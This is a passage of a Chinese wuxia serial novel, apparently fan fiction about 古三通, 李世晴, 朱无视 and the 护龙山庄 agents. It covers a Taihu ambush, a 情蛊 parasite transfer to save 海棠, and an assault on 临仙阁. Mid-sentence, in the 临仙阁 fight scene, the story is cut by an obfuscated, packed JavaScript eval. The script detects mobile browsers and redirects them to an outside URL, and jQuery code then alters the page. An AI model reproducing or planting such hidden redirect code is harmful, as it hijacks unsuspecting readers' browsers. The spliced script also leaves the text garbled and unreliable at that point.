明代巡抚乃是文官,而且古三通自负武功高强,根本不会将一个养尊处优的高官放在眼里,因此疏于防范,擒拿之时也未使内力,却不料眼前这位“南直巡抚”竟是武林高手。 “我可从来没说过自己是巡抚大人。”只听此人一声冷笑,道:“在下南直巡抚叶大人属下三品参将,郭磊!” 原来,所谓的南直巡抚亲临宿苍山庄也是圈套。 事到如今,也别无他法,只能再抓住此人作为人质。于是,古三通右手一拳“白虎下山”,迎头劈下,左手一记“巨鹰掠兔”,施展擒拿。可这郭磊也知不是古三通对手,无意恋战,身形一荡,伏地一滚,一头扎入湖中。与此同时,原本紧紧包围古三通的官兵们也迅速后退。 “放箭!” 随着陈玄松一声令下,湖岸码头上的弟子一齐张弓搭箭。霎时间,箭如雨下,饶是古三通武功再高,也不可能从这漫天箭雨之下平安逃脱。 就在这千钧一发之际,忽地从天而降一面渔网,如怒涛般翻腾席卷,竟将密密麻麻的的箭雨尽数卷去,为古三通生生开出一条退路。 “快走!” 众人不知这一声由何处而来,可古三通却听得真真切切,不禁欣喜若狂。可除了古三通,在场还有一人认出这声音,那就是陈玄松。 陈玄松等待此刻已久,今日所设的圈套,与其说是为了古三通,倒不如说是为了无痕公子。陈玄松久经江湖,自有眼力,他看出古三通与无痕公子相交匪浅,于是故意放出擒获无痕公子的消息,引诱古三通上钩,若能引出古三通,自然也能找到无痕公子。 不过眨眼之间,陈玄松已拔剑刺去。围观人群吓得惊散奔逃,李世晴原本借人群隐藏踪迹,如今反受人潮所制,动弹不得。只见陈玄松长剑刺来,李世晴只得双手合十钳住剑锋。 若是以往,李世晴接这一剑易如反掌。可近一个月来,李世晴体内的移花接木真气无法化解,与他原本内功冲撞,搅得李世晴内息全乱,此刻功力已不及往日的一成。李世晴虽勉强接住剑锋,却觉得这一剑力道之沉,犹如泰山压顶,当即周身一麻,险些双腿跪地。陈玄松亦有所察觉,一记铁掌向李世晴头顶劈下。 可陈玄松铁掌刚一扬起,忽觉背后杀气袭来,急忙回身防护,正正接下一记飞踢。这一踢力道如此之大,震得陈玄松手臂一麻,连退几步方才稳住。 “你敢伤他,我就要你的命!” 眼见好友遇险,古三通怒火中烧,却被李世晴拉住。 “不要恋战,快走!” 古三通见李世晴面色苍白,神情焦急。他不明白,短短时日,李世晴怎会落得如此狼狈?虽然心有疑惑,但眼下情形,古三通也明白走为上计。 于是,古三通拉着李世晴,跳上街道房顶。 “放箭!” 只听一声令下,无数箭雨向古、李二人射去。 古三通拉着李世晴,飞檐奔逃。虽躲过了一轮箭雨,可陈玄松早已在岸上布置骑兵追击。李世晴无力施展轻功,古三通拖着他,也跑不过马匹。于是他纵身一跃,跳入路边窄巷。本以为能够摆脱追击,却不料刚一落地,幽暗之中忽现一阵寒光,随即无数刀锋向二人袭来。 原来,此处窄巷也埋伏了杀手。想来也是,宿苍山庄势力遍及太湖,此处又在西山脚下,古、李二人初来乍到,不熟地形,被围追堵截,最终,慌不择路地逃入宿苍山庄事先设好的圈套。 幽暗之中,刀光剑影接连袭来。古、李二人虽武功高强,可一来已失地利,二来对方人数众多。这些杀手不急功冒进,而是凭借人数,利用窄巷的幽暗和复杂地形,不断袭扰,往往数人群起围攻,对了数招迅速撤下,换下一波人继续进攻。如此纠缠,虽不能伤到古、李二人,却能够让二人疲于应对。 古三通本就是急性子,明知对手武功远不如他,可偏不正面来攻,反而没完没了地游斗纠缠,心中愈发烦躁,可怎奈这些人身法极快,又熟识地形,左闪右避,接连搅扰,古三通一个人也抓不住,越是着急,越是破绽百出。 相比古三通,李世晴更是不妙。他原本就身负内伤,气息紊乱,功力大减,是以不到半柱香的时间,已累得气力不接。其中一名杀手瞧出端倪,当即举刀向李世晴劲后斫下。李世晴虽感背后杀意袭来,可已无力回防。原以为命将休矣,可在危急之刻,古三通飞身而来,一把抓住刀刃。古三通毕竟是血肉之躯,李世晴回身只见古三通手掌、指间鲜血汩汩,可古三通丝毫不顾疼痛,紧抓刀刃不放,眼中满是愤怒。 “我说过,谁敢伤他,我就要谁的命。” 话音刚落,古三通手上猛施劲力,将刀刃一折而断,随即怒喝一声,反手向那杀手胸口一拳捶去。杀手功力本就远不及古三通,猛受一拳,当即口吐鲜血,身体如同一个皮球向后倒飞。其余杀手反应不及,有的被同伴撞倒在地,有的则是慑于古三通的威势,一时间都不敢再上前攻击。 正是这一瞬间的迟疑,古三通抓紧时机,一把背起李世晴,冲出窄巷。可当古、李二人的身影刚一出现,长街一端的骑兵立即发现,策马追来。 “没想到宿苍山庄所设圈套如此严密,看来,今日是无法安然逃离!” 正当绝望之际,长街另一端传来滚滚马蹄声,伴随着响亮的呼喝: “十三皇子驾到!闲杂人等还不速速避让!” 二人循声望去,只见远处马蹄奔腾,烟尘滚滚,一面金黄的旌旗猎猎飞扬。转瞬间,无数匹骏马已奔至眼前,古三通及时闪避,躲至路旁。两队骑兵在狭窄的街道中相互冲撞,顿时乱作一团。可就在这样一片混乱之中,古三通、李世晴二人的目光却被定在了其中一人身上。 那人骑着一匹高头大马,被无数骑兵拥护在中心,面对如此混乱,依旧面不改色。他一身朱红色华服,配以金玉发冠,原本威武之姿更添几分华贵之气。 此人就是当今皇帝第十三子,朱无视。 混乱之中,朱无视也有所察觉,回身一望,正正撞上古、李二人的眼神。一瞬间,三人互望,一方是华冠丽服,另一方却是鹑衣鹄面。难以想象,分别不过一月,如今再见,原本称兄道弟的三人之间,竟已是云泥之隔。 朱无视迅速收回目光,只当没看见二人,挥舞手中令旗,策马上前,喝道: “吾乃当今陛下第十三子,特奉御令来此,尔等还不速速退下!” 这一声威喝,声响不大,却气势十足。这些追兵皆是宿苍山庄弟子,哪里见过这等阵仗,又听见十三皇子的名号,只得后退。 “快走!”李世晴把握时机,催促古三通快些逃离。 古三通似乎有所犹疑,望着朱无视的背影若有所思,可他也明白眼下情势,最终一咬牙,背着李世晴转身逃离。 古三通沿着大道一路奔逃,因为朱无视拦下追兵,因此一路上再无拦截。古三通背着李世晴一口气跑了数里,才最终停下。 二人躲进一条暗巷,努力平复气息。许是刚刚经历一场大战,二人精神稍有松懈,竟不料暗处忽地伸出一只手,猛地抓住李世晴手腕。二人吓了一跳,古三通回身便要一掌打去,却被生生喝住: “等等!” 李世晴出声制止,来人虽然隐在暗处,但李世晴还是一眼认出对方。 “苗长老……” “你们认识?” “这位是南教护法苗长老,这位是……” “不败顽童古三通,我知道!”苗长老一口打断李世晴,冷冷道,“跟我来!” 说罢,苗长老转身往暗巷深处走去。二人心中犹疑,可李世晴之前落难得苗长老相救,对她已有几分信任,况且眼下二人遭受围捕,举步维艰,只好道: “走吧!” 二人跟随曲长老,穿过几条暗巷,来到一处偏僻的码头,登上一条渔船。 渔船离岸,随水逐流,李世晴望着四周茫茫水天,忽然想起什么,开口问道: “苗长老,我们这是……” “怎么?公子不记得路了?” 李世晴哑口无言,他当然记得!那日他和花白凤得苗长老相救,就是顺着水路,逃到了百花岛。如今,苗长老再度出面救他,将他二人带去百花岛,定然是花白凤的意思。 自那日不辞而别,已过二十几天,不知道她现在如何?曲长老是否最终把真相告诉她?如果没有,她或许还在气自己不辞而别;可如果说了,她眼下又是什么样的心情? 李世晴越想越不安,走出船舱,借湖水一照,只见那水中倒影面无血色、蓬头垢脸。想来也是,这些日子,李世晴日夜受体内真气折磨,功力骤减,痛苦不堪,再加上为了隐藏身份,扮做渔夫,风餐露宿,自然无法整理仪容。李世晴重情重义,为救好友吃再多苦头,也无怨言,可他却不忍让花白凤见他这副模样…… 不过,似乎这湖中潮水并不愿聆听李世晴的愿望,很快就将他们带到了小岛。 李世晴怀着忐忑的心情下船,远望前方的木屋,却见一道人影跑来。仔细一看,是一个素衣女人,似乎十分慌张,边跑边四下张望呼喊,最终跌倒在地。 古三通一眼认出这个女人,急忙冲上前去扶她,失声道: “素心!” 不错,这个女人正是素心。 李世晴也感觉十分惊讶,且不问众人失散已久,素心为何在这处秘密小岛,只看素心手上、身上沾染的斑斑血迹,李世晴顿感不妙。 素心惊魂未定,泪流不止,一边指向木屋,一边语无伦次道: “我……她……白凤姑娘……” 一瞬间,李世晴只感觉心脏骤停,头脑空白。他箭步冲向木屋,只见门口地上有一个打翻的铜盆和大片的水渍,冲进屋内,率先闻到浓重的血腥气,李世晴目光惊恐地四处搜寻,最终,定格在一处床榻上。 只见那一方床榻满是鲜血,花白凤倒在床上,胸口正正插着一把匕首…… 30.舍命救佳人 齐心闯龙潭 再将时间回到二十年后。 滇南苗疆之地,云江峡谷之中,有一片烟雾萦绕的竹林,林间几顶军帐环形分布,其中一顶账内烛火摇曳,无痕公子和柳生飘絮相对而坐,皆是沉默不语。半晌,飘絮开口轻叹一声,幽幽道: “原来,当年竟是这般缘由……” “后面的事,想来段夫人也知道……” “真是,为难公子……” “不……所谓有因必有果……说到底,今日一切恩怨纠葛,皆源于我当年之错……春梦了无痕……真是个荒唐的名号!旁人听此名号,还以为是怎样一个神仙人物,殊不知……不过是个识人不明、薄情寡义、连自己的徒弟都无能救治的无用之人罢了!” “识人不明是真,可何来薄情寡义?以飘絮所见,公子当年之错,正是因为太过重情!男女之爱是情,兄弟之义是情,父母之恩亦是情,其间权重,叫人如何取舍?公子当年已是竭力周旋,抱憾之处,只能怪……造化弄人!” 飘絮愈发激动,仿佛已不是评说他人之事,而是在倾诉自己的心声。 无痕公子默默听着,末了,欣然笑道: “正是此理,多谢段夫人宽慰!” 听闻此言,飘絮这才意识到自己的失态,却见无痕公子笑容温和,猛然醒起,心道: “公子如此大度对我讲述当年旧事,莫不是借此劝慰我释怀当年之过?” 想到此处,飘絮心中不禁一股暖流油然而生。 “如此,请公子快些告诉我解救海棠之法!” 无痕公子顿时错愕,却见飘絮更加坚定地说道: “覆水既已难收,但眼下还有赎罪的机会,我要竭力弥补,救下能救、该救之人!” 话至此处,飘絮忽然犹豫起来,但最终鼓起勇气,开口问道: “请恕飘絮冒昧,飘絮听闻,海棠之所以……能在雪飘人间之下保有生机,是因为公子曾暗中让海棠服用过天香回魂丸,加之刚才公子所说旧事,我猜想……公子之所以如此做,是否为了防范花教主……” “不错!”无痕公子苦笑道,“当年我与白凤相恋,她曾说过,若我负她,定叫我的徒弟传人加倍奉还,因此我立誓此生不收徒。梅琴、兰心、竹剑、菊意四人皆是孤女,当年受强人所迫,被我机缘巧合救下,我将她们留在身边,却不敢以师徒相称。唯有海棠……当年她是受朱无视之命前来拜师,我本不愿收她,可那孩子说她奉命而来,若无功而返,愧对义父。我一来欣赏她的天资才华,二来也是看在……无视的面子,给海棠定下三道关卡,原打算让她知难而退。却不想那孩子实在太过执拗,为了闯关几乎丧命,我只能作罢。那孩子天赋异禀,我也不愿师父武学在我这一代断绝,最终将她收为入室弟子,传授我毕生技艺。我虽收了海棠为徒,但唯恐我的孽债连累她,所以暗中令海棠服下天香回魂丸,却不想……千算万算,这枚天香回魂丸竟是在另一桩恩怨纷乱之中救下她……” 话至此处,无痕公子仰天一叹,也不知是哭是笑。飘絮默默听着看着,心中五味杂陈,却也不禁疑惑,忍不住问道: “如此说来,这些年公子与……朱无视仍有来往。当年太湖之战后,公子难道不曾……” “不曾对铁胆神侯有过疑心吗?”无痕公子看出飘絮心中疑惑,无奈道,“实不相瞒,当年我身受重伤,奄奄一息,加之与白凤情缘已尽,自暴自弃,全靠梅琴悉心照料,才让我捡回一条命。我闭关修养一年,出关之后才听说朝廷判定古三通杀死八大门派高手和四大名捕,将他囚于天牢。我一知此事,即刻赶去质问朱无视,既知真相,为何不向朝廷举证,还三通清白?可朱无视说他已然跪奏皇帝,却不被采信,一来因为南教乃南疆大帮,教众逾万,又有黔国公府作保,朝廷不敢轻易问罪;二来,三通离开太湖之后,依旧不改好勇斗狠的脾性,四处挑战,惹是生非,引得朝廷忌惮,纵使没有杀害八派高手与四大名捕之罪,朝廷也绝不会放过他。” 说着,无痕公子不禁苦笑道: “不怕段夫人见笑,我自小被师父收养,隐居云梦泽,虽学得些许本事,但对于人心诡谲实在一窍不通,不然也不会……我不懂朝堂风云,但我明白,三通与朱无视在天山决战落败,以他的武痴脾性,想来不愿再行走江湖,倒不如就在天牢之中落个清静。我从未去过天牢探望他……我心里明白,我是在怨恨三通,若非他鲁莽生事,若非我逞强出头,或许我与白凤不会走到这般地步……哈,如今看来,到底只怪我信错了人,也怪错了人!” 无痕公子坦然诉说,飘絮静静听着,不禁感慨无痕胸怀坦荡,竟愿将自身过错与心中阴暗坦然道出。由此反思,飘絮想起当年犯下杀孽之时,虽明知有错,却也忍不住找寻诸多借口,为自己开脱。如此一比,当真羞愧至极。 “自那以后,我也没有再见过朱无视。数年之后,海棠前来常晴谷拜师,代朱无视送来一封书信,他在信中言辞恳切,求我寻找天香豆蔻救治素心姑娘。我明白他对素心姑娘的情意,将心比心,我也愿见有情人得成眷属,于是应了下来,遍访古籍,寻找天香豆蔻,却机缘巧合找到了天香回魂丸,竟还……” 无痕公子并未在说下去,但已足够。烛火摇曳,映照着无痕的两鬓银丝和眼角细纹,飘絮看在眼里,心中感慨万千。飘絮还在东瀛之时,就已听说中州武林有一位春梦了无痕,种种传闻将他描绘成一位不染凡尘的神仙人物。可当飘絮亲眼所见,只觉得与想象中大不一样,除去超凡脱俗的武功学识,无痕公子平易近人,虽容貌俊朗,终究难掩岁月痕迹,加之他眼中总有淡淡哀伤,倒更像是一位和蔼亲切的长辈。经过今日一谈,飘絮更加明白,从来没有什么神仙人物,在她面前的只是一位为情所累、难敌造化的凡人。 二人相对而坐,陷入沉默,无痕公子见飘絮双目低垂,面色深沉,不知她心中想法。犹豫片刻,最终再度开口道: “陈年旧事,本不该叨扰他人,只是孽缘难解,累及无辜。海棠体内之毒,我已无能为力,唯有依靠……于情于理,我不该再隐瞒……” “公子不必再说!”飘絮干脆地打断无痕,眼中闪烁着坚定的光芒,“我们都是凡人,自然有力所不及之处。既然天意难违,唯有尽力而已。若说孽缘所起……谁又逃得了干系?更何况海棠是天涯哥哥的义妹,而我是他的妻子,救治海棠,本就是我义不容辞。再者……我一日未偿罪孽,天涯哥哥此生都无颜面对好友。在东瀛,一个合格的妻子就绝不会让丈夫背负耻辱。所以,我今日所做一切,既是为公,也是为己。公子不必再加忌讳,我到底该怎么做,请直言告知!” 无痕公子见飘絮如此坚定,终于释怀。 “段夫人说的是,是我庸人自扰!”说着,无痕公子又看向海棠,叹道:“眼下海棠被种下情蛊。这情蛊本是南教秘传之物,当年……我与白凤在百花岛一同研习武学医术,她向我传授情蛊用法。情蛊不同于一般蛊毒,是以活蛊幼虫植入人体之内,一旦植入,既无药物消解,也无法强行取出。” “可当年……花白凤不是……” “这不一样,当年白凤是为了我……主动将情蛊植入自身,她当时身体康健,气血充盈,又有苗长老护法照拂,等到了情蛊羽化而出。即使如此,也是九死一生之险。可如今海棠不同,她原本重伤必死,全靠天香回魂丸保存生机,虽然情蛊能将天香回魂丸的药力发挥极致,令海棠起死回生。但她体内气血已虚,而情蛊恰恰吸食人血,加之海棠一路闯来,解石溪镇之围,与狇雄恶战,劳心费力,以她如今的身体,不可能撑到情蛊羽化之时,只能……” “只能什么?” “只能……换血……将蛊虫引入他人体内,而且必须是中蛊之人的仇人。” 听到这里,纵使飘絮心坚如铁,也不免面露惊恐。无痕公子见飘絮神色,心中不是滋味,可事已至此,再无退路,只能继续道: “当年白凤和我说起情蛊的用法与传说。据说,百年前有一位苗家夫妻,丈夫被仇家所杀,妻子以自身心血炼制情蛊入药,救活丈夫。可谁想……丈夫复生之后,却移情别恋,妻子因爱生恨,又以情蛊炼毒,杀死丈夫,自己随之殉情。所以苗人传说,情蛊既可救人,亦可害人。” “可……这传说和换蛊之法有何关系?” “远古传说,真假难辨,但总有源头,是百姓们将对自然万物的理解编成故事,口耳相传。据我猜测,情蛊需锥心泣血,方能练成,如此痛苦危险,非用情之深不能至,所以才有这段传说。而又因这段传说,苗人猜想要解情蛊,非得至爱至恨之人舍命相救方可。只不过,这只是传说,千百年来,从未有人尝试……” 无痕公子并未再说下去,而是小心翼翼地观察飘絮神色。无痕公子明白,如今他提出的解救之法源于一段真假难辨的传说,而这传说又是从花白凤口中听来,其间是否有所隐瞒欺骗尚未可知,却用这未经验证之法,要求飘絮冒死引蛊,确是强人所难。不料,正当无痕公子踌躇之时,飘絮突然说道: “虽然如今花白凤对公子因爱生恨,犯下恶行,但当年她肯锥心泣血为公子炼蛊,必是真心托付,所以飘絮认为,用仇人引蛊之法……可信!” 再一次看着飘絮坚定的眼神,无痕公子心中五味杂陈,叹道: “段夫人可要想清楚,这引入情蛊凶险异常,活蛊在你体内,吸食心血,无法取出。而且,情蛊先在海棠体内苏醒,再引入你的体内,只怕反噬更强……” “若真是如此,也只怪天意!再者说……”飘絮坦然笑答,又忽地话锋一转,反问道,“公子这样坦言相告,不怕我反悔,不肯救你爱徒吗?” 无痕公子一时无言以答,只能苦笑道: “我既然肯说出来,自然想过后果。换血并非易事,眼下海棠昏迷,气血虚弱,我虽能运功为她催动气血,可如果段夫人不愿,奋力抵抗,此法必不能成。” “那公子就没有想过,用言语蒙骗我,或是不告诉我这其中凶险吗?” “柳生一族乃东瀛武林名门,段夫人作为柳生后裔,自有见识,岂能轻易蒙骗?更何况,寻常疾病医治,尚且需要患者尽力配合。情蛊如此厉害,若非当事之人心甘情愿,以自身功力引蛊入体,也是不能成功。如果有所隐瞒,在换蛊之时,心志动摇,非但不成,反而累及双方。若是如此,倒不如一开始就坦诚布公。” “说的不错!”飘絮爽快说道,其声响亮,犹如钟鸣,“这是我的选择,有何风险,结果如何,我都已清楚,所以公子不必再有愧疚顾虑。说到底,我当年引刀自裁,就是自知罪孽深重,只能以死赎罪。如今承蒙公子相救,令我重返人世,能够再见天涯哥哥一面,我已经心满意足。况且……扪心自问,当年我之所以对海棠下杀手,除了命令,也有我的猜疑和妒忌。只是没想到,因为我的私心,害得大家如此痛苦。既然眼下还有补救的机会,我自当全力以赴,就算真的为此付出性命,对我而言,也是求仁得仁,又有何怨?” 说罢,飘絮站起身,躺到海棠身边,闭上双目。 “有劳公子!” 无痕公子不禁哽咽,默默取出医箱,跪在榻前。无痕公子看着榻上的两名女子,海棠气息微弱,却坚强地与病魔抗争;飘絮双目轻阖,神情平静,丝毫不畏惧接下来的危险。无痕公子看着这两个身形纤瘦的女子,不禁肃然道: “段夫人放心,虽无十足把握,但只有有一丝可能,我都会尽力保你性命!” 话分两头,一刀、天涯、成是非三人自清晨出谷之后,直奔临仙阁,不到晌午便至。临仙阁依山临湖而建,地势险要。三人策马而来,远远可看见山下布满人马,少说百余众,且皆手持兵刃,严阵以待。见此情景,天涯沉重道: “看来,南教也是准备周全,等着我们来呢!” 一刀双眉紧锁,沉默不语,而成是非虽知凶险,此刻也将恐惧置之度外,哈哈大笑道: “准备得好,我们天地黄三大密探大驾光临,南教不多准备些人手,岂不是太小看人了!” 说话间,成是非已策马率先攻去,一刀、天涯紧随其后。南教防守阵前为首三骑,其中一人手持长柄大刀,见成是非纵马奔来,横刀砍去,其势威猛,可将人一斩为二。但成是非丝毫不惧,待刀锋将至,仰身一避,在马上使出一招“倒转乾坤”,回身双手擒住敌人刀柄,如灵猿般借力一荡,又一招“双龙出海”,一足踢中肘弯,另一足向头颈扫去,瞬间将敌人踢落马下。 其余两骑见状,各持砍刀,左右袭来,却不料两道寒光率先闪过,待到回神之时,只觉肩头一凉,两只断臂已然落地。 “哈哈哈,知道厉害了吧!” 成是非仰天大笑,其声浑厚,响彻山谷,南教人马不禁吓得纷纷后退。 相比于成是非的意气风发,一刀、天涯回马而来,严阵以待。 “成是非,不要大意,南教手段绝不……” 天涯话音未落,一阵箭雨射来,一刀、天涯挥刀削落,却发现每一支箭上都捆绑着把燃烧的草束,生出滚滚浓烟,刺目呛鼻,瞬间把人熏得涕泪横流。 “咳咳……卑鄙……咳……”成是非一面咒骂,一面止不住咳嗽流泪。 “快戴上,捂住口鼻!”天涯从怀中抽出三条汗巾,两条扔给成是非和一刀,剩余一条自己戴上。 天涯少时曾赴东瀛学习忍术,除了武艺之外,还有易容、毒杀等诸多技艺,自然也懂得些许防毒之术。 果然三人戴上汗巾之后,不再畏惧浓烟,可他们所骑的马儿无法抵御浓烟。这还不止,南教众人趁烟放出无数毒虫毒蛇。这些虫蛇贴地爬行,发出嘶嘶怪响,马儿受惊,扬蹄嘶鸣,南教众人趁机执长刀长枪四面袭来,一瞬间三人腹背受敌,场面大乱。 一刀、天涯一面稳住马儿,一面挥刀御敌,尚可应付,可成是非本就骑术不精,而刚才对敌夺下的长柄大刀太过沉重。原本成是非身上有古三通留下的各派武功招式,理应对各种武器应用自如,可惜成是非生性懒惰,以往习武只挑轻便取巧的招式,从不肯花费心力练习重兵器。眼下一时逞强,夺得长刀,却无法运用自如,反受所制。成是非左支右绌,围攻众人似乎瞧出端倪,群起攻之,数把长枪趁机刺中他坐骑下腹,最终马儿一声悲鸣,轰然倒地,众人见状,纷纷持刀斧砍去,势要连人带马砍成肉酱。 “成是非——” 一刀、天涯急欲上前相助,无奈分身乏术。危机之刻,忽听人群之中一声大喝,原本一同围攻成是非的人群竟像皮球般被接连抛起,又重重摔在地上。一道人影立于人群中央,遍布金光,周身炽热,众人见状,不由得心生怯意,就连地上的虫蛇也畏惧他身上的热气,接连退缩。那人连声大喝,在人群之中横冲直撞,刀剑兵刃丝毫不能伤他,所经之处,当者辟易,转瞬之间,他已经冲到一刀、天涯面前。 “成是非,你……” 天涯这一句话中,既有惊讶,又有责怪,责怪在于几个月前成是非施展金刚不坏神功被花白凤所破,内伤未愈,无痕公子千叮万嘱不可再轻用神功。虽然今日形势所迫,成是非使出神功,解一时之危,但从成是非的吼声中可以听出他中气不足,如果勉强维持金刚不坏神功,必定加重内伤。 可成是非丝毫不理睬天涯的责怪,反而坚定喝道: “跟着我!” 说罢,他继续向前冲去,为一刀、天涯生生杀出一条通路。 “你这是……” 一刀沉默寡言,但绝不是愚钝蠢笨之人,当即明白成是非的用意。金刚不坏神功刀枪不入,成是非用己身杀出一条道路,为的就是让一刀、天涯突出重围,自己留下来断后。可一刀同样听出成是非内力不足,如果将成是非独自留下,一刀、天涯却无法及时赶回,时间一长,成是非气力耗尽,只怕凶多吉少。 正当一刀犹豫之时,天涯却一把抓住了他的手,喝道: “走!” “大哥……” “走!不要忘了我们此行目的!” 说罢,天涯用力鞭打二人马匹,带着一刀冲出重围。 一刀、天涯冲出重围,不再回头。眼看临仙阁已近在咫尺,可正当二人松懈之时,路旁树丛之中忽地冲出两道人影,各执长剑向一刀、天涯刺来,一刀、天涯亦反应迅捷,眨眼间长刀出鞘,却不料那两道人影轻功一流,剑锋一沾即走,借力回势,反削马蹄。 马儿扬蹄嘶鸣,一刀、天涯飞身落地。几乎同时,临仙阁门户洞开,几道人影飞出,转瞬间将一刀、天涯团团围住。 一刀、天涯紧握长刀,环视四周,只见来人一共九名女子,各持长剑,为首的是一位头发花白的老妇人。 “老身南教长老苗氏,在此恭候两位大侠!” “让开!” “老身知道二位大侠此行所求,只是要入临仙阁,须得先过了我南教的九华剑阵。” 话音一落,八名女子已长剑出鞘,围绕二人转动起来,其身法之快,令人目不暇接。一刀心焦异常,率先向苗长老攻去,汗血宝刀迎面斩下,曲长老也不退缩,剑花一挽,避开锋芒,回身向一刀颈后刺去。可一刀也不是只会横冲蛮打,他感到颈后剑气已至,弓腰移步,腕力一转,宝刀由下至上,斩向曲长老手臂。曲长老手中长剑来不及回防,关键之时,却见她左掌拍向汗血宝刀,而刀锋亦在离手臂分寸之间,被一股奇怪的劲力沾走。 “这是……” 一刀心中一惊,此招他曾见天羽施展过,正是南教移花接木大法。但一刀并不慌乱,反而身随刀走,移形换位,刀锋又向曲长老颈间斩去,而曲长老回剑一封,霎时间,只见一道火花,二人各自后退数步。 一刀心中大惊,要知道绝情斩是以刀势雄沉、迅疾威猛而闻名天下,刚才那一刀他使出八分力,曲长老却能够稳稳接下,可见修为高深,加上她能够施展移花接木大法,想来也是南教之中一等一的高手。 反观曲长老面不改色,反手持剑,跳出剑阵。一刀急欲追赶,不料四名女子持剑迎面刺来,一刀横刀一格,四名女子亦是掌风一拍,剑尖一沾即走,既不抢攻,也绝不任由一刀前行。 一刀挂念海棠安危,心急如焚,几欲发怒,不料天涯手按他的肩头,低声道: “别急,一刀,欲速则不达!” 一刀知道天涯所言不差,眼下形势与他一个多月前初闯临仙阁时大不相同。苗长老作为南教护法,在教内武功仅次于花白凤,而其余八名女子也是由她亲手调教,皆轻功绝顶,身法灵巧,剑势飘忽不定,加之阵法奇诡多变,似攻却守,如守反攻,叫人捉摸不透。天涯三面应战,而一刀数次强攻,苗长老正面迎战,时而出剑,时而用掌,一刀出手狠辣,刀刀直逼要害,可无奈移花接木大法玄妙精奇,总在恰到好处化解刀势。如此数次强攻无果,对手面色不改,一刀却已气息不稳,方寸渐乱。 饶是如此,一刀仍不放弃,他面如赤铁,大喝一声,随即又向前扑去。苗长老见此情形,猜测一刀心性已乱。虽说苗长老也有听闻天羽与归海一刀之事,不愿伤一刀性命,但绝情斩威力巨大,一刀修为更是犹有过之,眼下全靠剑阵玄妙和移花接木大法勉强牵制。苗长老唯恐拖久生变,于是抢先一步,纵身一跃,足踏一名女子肩头,凌空身形一变,避开刀势,剑尖向一刀手腕削去。 一刀举刀横削,以攻为守,却不料眨眼间忽然变势,身形一转。苗长老大吃一惊,只听“叮”的一声,另一把长剑将她挡下。 “段天涯!” “正是!” 瞬息之间,天涯长剑一旋,手腕一抖,看似坚硬的钢剑竟变成一条柔软灵活的银蛇绕臂而上,直逼苗长老眉心。其余八名助阵女子见此变故,乱了阵脚,急欲上前相助,却听一刀低声一喝,汗血宝刀卷地一扫,势如千军万马,将八人齐齐逼退,其中冒进的三人更是被眨眼间削断剑尖。 再看另一头,天涯的精钢软剑来自大内,苗长老从未见过,一时不察,反被所制。但她身经百战,眼看剑光刺来,临危应变,掌力一吐,将手中长剑当作暗器掷出,直指天涯咽喉。天涯被迫躲闪,剑法稍乱,苗长老也在间不容发之际向后一跃,躲过致命一击。 岂料,就在苗长老后退之时,天涯忽然从左袖中甩出一段细链,卷上一刀腰间,紧接着大喝一声,将一刀整个人高高甩起,从苗长老头顶上方抛了出去。 曲长老立即明白天涯的企图,虽然九华剑阵威力不大,却难缠无比。二人急于突围,一刀的绝情斩虽大开大阖、刀势刚猛,却被移花接木大法克制,久攻不下,而天涯与一刀虽同出自护龙山庄,但武功路数截然不同,天涯的幻剑玄妙多变,精钢软剑更是令人防不胜防。一刀、天涯利用这一点,看准时机交替出手,令曲长老动摇分神,创造了突围的机会。可曲长老想不明白,此法须得二人配合无间,自一刀、天涯来后,一直在自己眼皮底下,二人被困阵中,疲于应战,哪来的功夫商讨对策? 只是眼下情势瞬息而变,已容不得曲长老细想。眼见一刀身体已跃至头顶,曲长老伸掌向上拍去。危机之刻,天涯凌空跃起,口含钢刀,右手接下一掌。二人掌力沉厚,只听一声巨响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333873|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,声如惊雷。天涯硬接一掌,只觉胸中气血翻涌,但他强忍不发,一声大喝,左手一掌将一刀推入临仙阁内。 一刀被推入临仙阁内,就地一滚,横刀回护周身,却见四周空荡,寂静无声,似乎并无埋伏。一刀心中生疑,但眼下已顾不上,于是凭借记忆,沿着楼梯一口气向上奔去,可在到达顶楼门前之时,被一道倩影拦下。 “我们又见面了,上官公子!” 不错,眼前之人正是花天羽,而所谓“上官公子”,是当初天羽奉命假扮落难女子接近一刀时,一刀假称自己为“上官海”,天羽则顺水推舟叫一刀“上官公子”。回想那段时光,虽然二人各有隐瞒,相处却算融洽。可眼下,二人眼神冰冷,相峙不让,当真恍若隔世。 “让开!”一刀低声喝道。 天羽轻轻一笑,看似云淡风轻,眼中充满苦涩,叹道: “还记得吗?几个月前,就是在这里,你我交手,你执意不肯出刀,可我也没有尽全力。现在,我奉命阻拦你,你要见我母亲,除非先杀了我。不过这样也好,至少我们尽全力一决胜负,看看是你的绝情斩厉害,还是我南教的移花接木大法和化一掌更强。” 说罢,天羽挥掌向一刀迎面拍去。天羽不亮兵器,一对肉掌近身搏斗。汗血宝刀乃神兵利器,天羽赤手空拳对阵,理应落于下风,可实则不然。只见天羽身法灵巧多变,犹如灵蛇缠绕游走,掌间暗藏玄劲。 南教两大传世绝学,化一掌招式凝练精妙,拳掌指爪,变化万千;而移花接木大法更是神奇,不仅能夺取对手功力,修为高深者还可以罡气应敌,无论对手修为多高,皆能化解攻势。苗长老只是南教护法,对于移花接木大法只是略懂皮毛,而天羽则是花白凤亲生女儿,幼承绝学,自然更为精湛。 只见天羽左掌暗运玄功,右手拳掌招式百般变化,连连抢攻,再配合魅影般身法,眨眼间,已将一刀笼罩在她的攻势之中。一刀亦毫不留情,挥舞宝刀,使出绝情斩中最强力的招式,与之缠斗。 